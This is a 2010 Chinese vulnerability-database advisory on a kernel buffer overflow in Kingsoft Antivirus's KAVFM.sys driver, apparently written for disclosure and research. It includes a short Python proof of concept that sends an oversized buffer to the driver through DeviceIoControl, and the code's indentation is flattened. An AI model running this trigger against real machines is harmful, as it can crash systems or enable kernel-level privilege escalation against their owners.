金山毒霸KAVFM.sys驱动IOCTL处理内核缓冲区溢出漏洞

  • 发表于
  • Vulndb

发布时间:2010-09-13
影响版本:Kingsoft Antivirus 2010.04.26.648
漏洞描述:金山毒霸是一种个人电脑安全防护软件,集合了查毒、杀毒、实时监控、垃圾邮件过滤、防网页挂马和隐私数据保护等实用性强的功能于一身。

本地用户可以通过向金山毒霸所安装的KAVFM.sys驱动提交恶意IOCTL请求触发缓冲区溢出,导致执行任意内核态代码。

<*参考

Lufeng Li (lilf@neusoft.com)

http://secunia.com/advisories/41393/

*>
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

#!/usr/bin/python

#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
GENERIC_READ  = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

DEVICE_NAME   = "\\\\.\\kavfm"
dwReturn      = c_ulong()
out_size      = 1024
in_size       = 1024
in_data       = ''
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*'\x80'
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)

安全建议:

厂商补丁:

Kingsoft Corp
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kingsoft.com/